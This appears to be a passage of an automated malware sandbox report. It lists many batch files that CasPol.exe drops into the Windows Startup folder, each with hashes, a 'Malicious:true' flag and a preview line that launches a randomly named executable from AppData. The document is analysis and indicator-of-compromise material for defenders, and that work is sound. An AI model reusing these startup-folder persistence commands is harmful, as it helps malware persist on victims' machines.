                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\kU3XrqGZNssn3brmhPHjP88a.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\O46ClWDJJ0ChccNYUTHhX6rG.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.875984305844401
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5Q2ik4WESAtNHF:fE1qLTwi23Q2NuVF
                                                                                                        MD5:82A1BF4C15E793E7C78AECA4D2F47A26
                                                                                                        SHA1:D26CCF468A7868756A3D2D6020B11EBAB2104E51
                                                                                                        SHA-256:152FC9430B2EFD117FCA6ADBD4B4767368BF415E1EB046650423A6B2E57E43ED
                                                                                                        SHA-512:7227FAD100753E716E6A0958AA6BC137684D117AF6BA71E57549A8C12D700306BCDB5DBC68BC706D8A3211E05D855401FF3CCFB7124F72330158624DB2C4613D
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\uScPA2mexaYLqHB3aMjewISk.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PABqbTMgez7HPLFgfI7iEGKK.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):89
                                                                                                        Entropy (8bit):4.960362403543724
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5t3cQGkagEgUL4AHFIkdan:fE1qLTwi23FcCEfyD
                                                                                                        MD5:2A8856DADFAFD11E4075D2D43F789F66
                                                                                                        SHA1:A5570B4B4F61A1C4A91A1E0A7A0D14032C845ABE
                                                                                                        SHA-256:387925B0500A1E97B48A9A2C0F10A4C968D50E87640509C025C0001E93F9101E
                                                                                                        SHA-512:3900915A39CE7BCC8DB1A61B37B9FFF6D4275E5FE47078CD4DEDC958B2C26209BEE6C2F0E4C99D55A61E020F99D15947D6C17D9064F9352A0ED1213577281C2D
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\HRRT0RMuxgFA6Ej0EVnWrxGq.exe" --silent --allusers=0

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PenbNlY4v1Vx62WE0q81zcDp.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):5.001455908427334
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5Sf8AKBBAcfrAln:fE1qLTwi23SOAcDm
                                                                                                        MD5:DEFF194FB5BA8EC1414D252D1E0C21F1
                                                                                                        SHA1:6457607880AB6D5249AA1FBDB4D8E04B04C3DBAF
                                                                                                        SHA-256:AE1796787FA1CFF4A145A3F3F4D478A293560078EC0DDA92E4EB57A9E04298B4
                                                                                                        SHA-512:28E5C6349871CC7787F491CBCB6F80054E41DCCE2F7C1650D7E96F4726E7BA5EDA0C090CAE86215DBBB3EEE36B5BFCB480A24D527AC18FD4DE250C3639CD29B0
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\wzL7YtWHPdRZ8NMx9zj6roAO.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Q3fqgNhMYYgFvw2BYJwts0px.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.889169555142044
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5TpCUzIDGl:fE1qLTwi23Vhll
                                                                                                        MD5:92245ECBB4E0E7D3658A8DE8A810F63E
                                                                                                        SHA1:2589342F7DBCF257F91B96AAB9B66A04948E8A48
                                                                                                        SHA-256:D3413099E5EB77E8199DAE24B5301230A846D27AA40F1AD2CBB18EC8E6B80F45
                                                                                                        SHA-512:E795E148AFDE37B0741461F3A52A1214B0A36D4D16C7CA6EF5D535BB2D76A9B3EAFA7ECB4667FCB1D570CAC119589579DC63C2F51821D9CAFD0CD985DB8E66B8
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\vXAyxin9GdGRVJbV0cVRgeZy.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RXXz6AwumQHorbsNNmZw4Pww.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):5.012557195223857
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5sFScceSEdHYACHF:fE1qLTwi23swmSZACHF
                                                                                                        MD5:BA447D7E3F588FCF4BF9833EDAB5F976
                                                                                                        SHA1:B71907DA47CABBE2251FF2BD7236C8781DECDD68
                                                                                                        SHA-256:72A1922FA386E5D6117A44B262F695B825AA748A23B96B1ECA45A4E3D137EC12
                                                                                                        SHA-512:8010C3A628FD8E1358FDCC9213A3D7FE2F31A3217567DD56D1EC4A39F7CFC23EA8BDE1FFF42AF7426F6912631355E4518B77450E6357BFED3DCA32CFE6D159E5
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\IgULl9WjdOj8mJztw0uHvxbW.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SIKVPo862RPOlBMaWJXbLGPP.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.866966981549001
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5DKuUgI:fE1qLTwi23GbgI
                                                                                                        MD5:97119497DEDFB5E3F694CE65825B5F68
                                                                                                        SHA1:816BB4BCAB946DB4863896F3CD6EC8A362AC185F
                                                                                                        SHA-256:6C6C0C9BD5907F40CC59DA39069D66374C31A24BD1A8117B8A0364C8FE9DD2C0
                                                                                                        SHA-512:ED160931C57EA0F0771815A6A1AC6B0B847861B0D2BA51452ACBAB758C2B2D6A2B83FF964878AA3FF3D91E2DCB90CA728D7CB398A89FC59D0434C4F5336CC71B
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\fvOd5pvADdxILNx2P8qpoMRr.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SYMjdo3T2nSbnrOG6PatZCjh.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.883193496957239
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5nlg0bXkAHFn:fE1qLTwi23jTkiF
                                                                                                        MD5:3BAFAB61D0CCFD4E8282C8F2C6ADB375
                                                                                                        SHA1:0D829E37E6D001C2DE853921703A913B1B5E1AD2
                                                                                                        SHA-256:DD0DB1623A0DA21C80A9C5971F7F2B104782B2A9AE57DD303A2D9B9C1C929C75
                                                                                                        SHA-512:20CCFC7252ECC6F5D9391EF25C864D0B14BAF8E80EC189BE5A3B413C4AA31786BFA2432B007C02BACC53226920D9B61E54DC179DD55530D6E8AF7BF927DC5BB1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\BBqYMraWtNak9E70T03xv71q.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TDQQApkr2dU5GmHw4L6zCiF1.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.82498532019204
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5viufvYDTvNv:fE1qLTwi23yXNv
                                                                                                        MD5:79D3A7EFB188E0C55E2AB9959C4B29DF
                                                                                                        SHA1:9D7EA658A332EEB7BB07B2AA78CA76A47E94B75A
                                                                                                        SHA-256:27BEFD6869A0E742CE0E1C3002310FD950B4DB42B7E6DECD3D349512F6850583
                                                                                                        SHA-512:7CF1209D5CD098D38A4C7852763E8D7FC766FDE51E79B713E8A00AB7AFBF589391F7F6C2353F8730E141E7F7452EFFA0A7F5A1280E6CE79DD5DC5F79BFE4536A
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\JJ3cNx9vKHcCuMyuszfvJls9.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TLgdyWgnb7EJQJfbIypXhtcL.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.707338261368511
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5VqbVT8zdpjxQmjrkmn:fE1qLTwi23yS3znL
                                                                                                        MD5:E663C32234F6392455CD8C94C5E33530
                                                                                                        SHA1:02ED534078FCC055F0DA26A37A80CF40C8EFF20C
                                                                                                        SHA-256:2F6714837CF183DA58E4533ED9E595D3C63AF346906603CDC411E38F6E87136F
                                                                                                        SHA-512:F8B3629626D4F0AC7ABB91A84EC63AC7FECE318CF815795CFFCC408F6BD5CE412ABCE65D951BFA61B545FF419B2AC97F9620208E8B50A0724107983B59047CF1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\pO9O069hprtxLGedb5CFsbLO.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TesNDksP9JpUl8dcPzgHr5lv.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):5.025127091874935
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5wB70hgvl2Jl:fE1qLTwi23wBWAsJl
                                                                                                        MD5:6282DDE8B3E3C2C9919C5936B23C932F
                                                                                                        SHA1:D833F19185F5E82105F08E0808B4E5ABD88C5E4F
                                                                                                        SHA-256:29657F3230F60E503D229C925A175E04EE3411A0A917DF279C1AD5C6ED77DCB3
                                                                                                        SHA-512:8620C5013A2DF8EE441BB94DE55A31E1B7C323346ABB638344E3AA98B94CC339807F4D0391AC996D972C20D5DD7C4C1619AFE6699803E01F2E2CE9BDA67608A8
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\Uh63v7VRNzUECDRm8xH2VdbS.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Uomg7UlX27UwbG3UUxP7ZMNG.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):5.014025805078413
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5Xb9sOOjF:fE1qLTwi23L9sOuF
                                                                                                        MD5:C48A14BAE815B13ECA7FFDCD0F1B18FB
                                                                                                        SHA1:13790D300F36761106A4DF1FCFD1072DEB0989E2
                                                                                                        SHA-256:D3DA58F9BAE74748A60E62C00EC92DC5B6A5D3B68B27F7ECB2090EEF361DD953
                                                                                                        SHA-512:6A4BCFD2D16F28F3C6BDE13422C7C49D077418347B5CA74CD329A5F194167B6D944A674E5A7E57D390E03973FD4ED63F6259603C445B5465F7D23D076E9A0EE4
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\2QIlVpy1FnjRPIOnHFE2X7B9.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XTYZUGwZm67eusiXt60bjnqI.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):5.030867673133218
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J58hcfSQf1n4WLv:fE1qLTwi238ZQt4WL
                                                                                                        MD5:2872F578FEC6D27CD68DAE97A5877370
                                                                                                        SHA1:2122CE1E1933828BB46D72025FB449156932A6E2
                                                                                                        SHA-256:BFC3DC612A0BBE2215B0262AB21751D79E2A3B23107222E8DF758FE8D80A686A
                                                                                                        SHA-512:FDCFF2D40ED1E8F8D643E252BA50D0CF522A14D7D67C601BA601B08C2AF3F25B42C95F340E20A167A32772606D46900B267B16647C92EE34BBA2CA66B3B360D8
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\YD9zE2itWi7M0MjuwQoyJNq3.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y87U0VRLdseZNHdoAA2kzQqw.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.866966981549002
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5S2fqExVEQe4Aln:fE1qLTwi23S2fqEf5e4m
                                                                                                        MD5:786EFBF50883F5E1EEA930689842AD0B
                                                                                                        SHA1:3C9A72053FC6F41B6C2D7B5F412CBDAD0A41D412
                                                                                                        SHA-256:1B41E678ED1CE4CB161492251CDBF607A8EC8FBA8C3FC9518C9551AA57724C71
                                                                                                        SHA-512:D14C7DB5ECA10CB46280A36B153CB59409953B353C6BE24A1601FCB5EB4F29694AF9D25A2028CD4B857A48792A6E2652821E33F0D3B041E6AACC613AEE5CD397
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\wPTezzgL34kfssQVp6uEza55.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\baSSXz9sAE0QHo2h7YMHDYBf.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.852928475043366
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5WWjU9ubQkAl:fE1qLTwi23WW51m
                                                                                                        MD5:32E4B97E83350C84A153E994A77B36CD
                                                                                                        SHA1:A5A8BC9C21A6809CEB0E9BF1F38FD06571118F2C
                                                                                                        SHA-256:01F77D1A760C81AE6EF50F4685DCF637E36C799FA3DDCA465E135CED0DEBA29B
                                                                                                        SHA-512:2B50558FFC7202F1FCEE6D9189F99616516DBC9D500B234E034B6FED64E00454D6610460EE3ECA50D8AAA89679037CB2653F928005165C869D8E0F31BA8F0D3A
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\ss18o36u7ZpVeBt30wfMc6QL.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cV1tlOprRXahIPEmfiEzl2VK.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):5.054538856580817
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5PmeQOdXMCl:fE1qLTwi23kPs
                                                                                                        MD5:403014BDC41F49B3C36BEA3020A6B1E7
                                                                                                        SHA1:C5D7C7A19CD011762F2CE20297732BF191AD2054
                                                                                                        SHA-256:B17B03F666A24E8C0CE2C165FFF2BD4B98359559689EBB30B7E3AB68C80588B7
                                                                                                        SHA-512:5CF57C584D705EE9E12B20E448D8480796F88B99A2DCA7F02E9CF91430AF3591AEA3FF9185319DA950752FBE89FC1D0FFA5B2D3D6094C6CE7ABEB0F1EA347107
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\jHK91yJ3AAbdMiBNHu82OP1N.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cic3atRc7HSpHHcbjylG6maa.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.77811633478479
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5EdflSfIqrR/LNHF:fE1qLTwi23EddaJHF
                                                                                                        MD5:1C32A185047E00183CDABC9FDDD0B855
                                                                                                        SHA1:CB71D911C805EF39F8E1B1DD98A266B86B1B254A
                                                                                                        SHA-256:D37CC5D5FA1B47D44521C1F4AA32FA0D9165A25F83591B4A75351D166D167E3C
                                                                                                        SHA-512:798290E7B7CF18B2C069191B3F81F8A0B21847A8208E014597F0E0ACF0DF24E91D34DCF7379E01488BFC9F3FAFA7F430FDEEF84461F39002EB2D96830B540180
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\av4uoJUKtp0Dae50mONtR9f9.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eAUqpjxpbFDLZaZ1AQVOgtKP.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):5.006816613965574
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5hBRLfu3fGyzjCl:fE1qLTwi23XRKuss
                                                                                                        MD5:26209BE87D94219415C88414825FCDB9
                                                                                                        SHA1:744A4E4541C2F226686EA83CC9A81765E87F50DD
                                                                                                        SHA-256:F9B859A007EEA12160B6917573719C710CA65CB7A4F459DD40DB19B21D5BF48C
                                                                                                        SHA-512:DB96BE9D71E213725E16920E652521E9CE639B67DE84307679B2C8D72DC6EF0D0E39426B1747C142B47D15696C7D69D0210432B49F60D635C3F2B2A079A630AC
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\Dd4nzJ5vUMeQnN3MK6ZRgV3f.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\huuoI3mgyMLYKjTLIuAXQWar.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):5.036228378671456
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5LDIx2S3rdxB1qCln:fE1qLTwi23XIx2SbdH13l
                                                                                                        MD5:C2669F4E2D023EEBD622D96EE716415A
                                                                                                        SHA1:902C03BF914EBE5634BD0A7DABC13E4AE61F4861
                                                                                                        SHA-256:49E6D285B6E1491784D1DA0E0654AFAC626AB88B9FD3AB87600073076582129D
                                                                                                        SHA-512:FE297FC415237813EF19EC01BA502A1B4119D3CEE32C799C43684A0637CBD8165D9C16AFE2606AD292E6707AFE21A5C73B85398373FE559814646033F19707CE
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\nql3mTXVYbBdwRCyxTdPASFH.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jWFEGUWi14gR1AWFpLYSOhTH.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.930062482364492
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5RU0ZQBrqs4n:fE1qLTwi239m4
                                                                                                        MD5:857B0D85CB319BB372F6A40F6B1CF51E
                                                                                                        SHA1:29BF147D9EC3B72247CBE3136DC3490053D7F9AB
                                                                                                        SHA-256:18172B7B2EF12A57CCE370FDBA47EDC440D6473DF9B959F3A4A55592E73C9161
                                                                                                        SHA-512:7962E92682E377AB7DA0F45D37952A89F7D2D0EDB3348B5271013BFAD96FF3BC2602BB71450905C0D843A8E343277D4143F8C4E6E6C93522BBB29E13D514C2FA
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\41rSfwrrEtzdo8l6hDX9qUIY.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kEBolTmB6JUkmTcImCo9ZSC6.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.890638164996601
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5q7VPZ4U8oDTR3sn:fE1qLTwi23q7lyJwi
                                                                                                        MD5:183EA4C57E32DC7B37A5B72FBF22062C
                                                                                                        SHA1:682869DAB69B6987A739FF0537A85863CCAEA92D
                                                                                                        SHA-256:F50A3FADBC670A3324375EB9D3190E27DF1587560244BAEFD2C37B8252191463
                                                                                                        SHA-512:5187EF192FF5FCAC286FAEB6633200F55A5779E7866325543EAD33587F845CFEA60569510B5827C77ADB67968991CCDCC548BFAB5F7C6BA24BE78F3BF32333AB
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\OUk0jc7FyA7JiXBcKBsav4Ex.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kjutPwsIKLqBhucfBslkDjha.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.763738304951151
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5j0xuniVoXRVdAl:fE1qLTwi234xuniSBwl
                                                                                                        MD5:93037F956EFF3769384AD82BE87AF0E0
                                                                                                        SHA1:9AE95F360C1494F4A18CB1647F5D408462992BF6
                                                                                                        SHA-256:FF2EB3A6B2494F1A1CD1AC3FB62FE876FD095978C5A0738729A0609C978BE8A7
                                                                                                        SHA-512:BECFE435AD9A37CA169BE24B12850F2CB7F44CCDD54BC867DFDF195FF681B3514A4927CE7F7417BAFA1640B3D7249BA69F91B18BC0E32C76B882D7E57AA8D3D2
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\FpP9TKUra38F8BD04FwCoPto.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ko575jpDDsNgcbo2IqHs6mp6.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.836086606988562
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5Xweij0RmJln:fE1qLTwi23AeA0AL
                                                                                                        MD5:870FFA645E44A9909A877067AF8B829D
                                                                                                        SHA1:3B0F4F8257FF81136FC42E7DFAD778E894F3DE41
                                                                                                        SHA-256:721BBE7515BBC6FA637454BC9162257DD3977193581F6EC11547905F8A4335CA
                                                                                                        SHA-512:38507789239D21775AEA36B7BBB3BD84906A0AB82ED332A925FDED9E669CAE2CA5D4DDB63B7D2A6E3FDEB61AB8969B0208660C8618A85A39E7E2FC166D030D4F
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\rSTe50KCC8r8EbtF86ijRMYC.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\koaSsTsT2PMDFnZOK5S6wqpH.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.818629386287192
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J52UmV+EVfgTHAdm:fE1qLTwi232UmwEBSAs
                                                                                                        MD5:C34DC9C919B069A4D85204769A75AC2F
                                                                                                        SHA1:F6F2377F1676A992D26D23A36304F8D5859BB958
                                                                                                        SHA-256:03280FDC63562B6340DE452C6C71769F6038F3B39812292131CE721723C6DFFE
                                                                                                        SHA-512:60927006E662DA5EA1D51A3075ACEE5EB847092EBD8EE198385CDA098120037E243940832E89B61304D718186B83BC41C926B2EC4FB8F7FBDA0E896AA62F8752
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\SqalFpG888aZxKTidsmLhW66.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mBxCGAyk3eKGc4MZLyYxeLOy.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.9552022756666485
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5Mv8sn:fE1qLTwi23MV
                                                                                                        MD5:D0550B07840546A4BA65B4B15E739763
                                                                                                        SHA1:C0DC5A6F5167183C8E7EB7929AD390CC7E9951BE
                                                                                                        SHA-256:ED9BF385241B87CC49C3A10940B3AB35285E947A0AABD6AD6A56262445740C49
                                                                                                        SHA-512:B72CC50C37376E5727E47F54C04DC683CCF9DACE9377BDB2E7C9724617933C964236B6A8A6BD97FB3FCC8B2588FFFFB922798476117BAEAC462F502DF347FA1B
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\iJmdFm3rqTwH6xDLZ8cWxZXG.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ojtScMFaD01HvY9V5pRywyo4.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.947993084553809
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5HSXiIwdPnyqkKD4m:fE1qLTwi23go
                                                                                                        MD5:F3C48453B38B017072CF3457E7118853
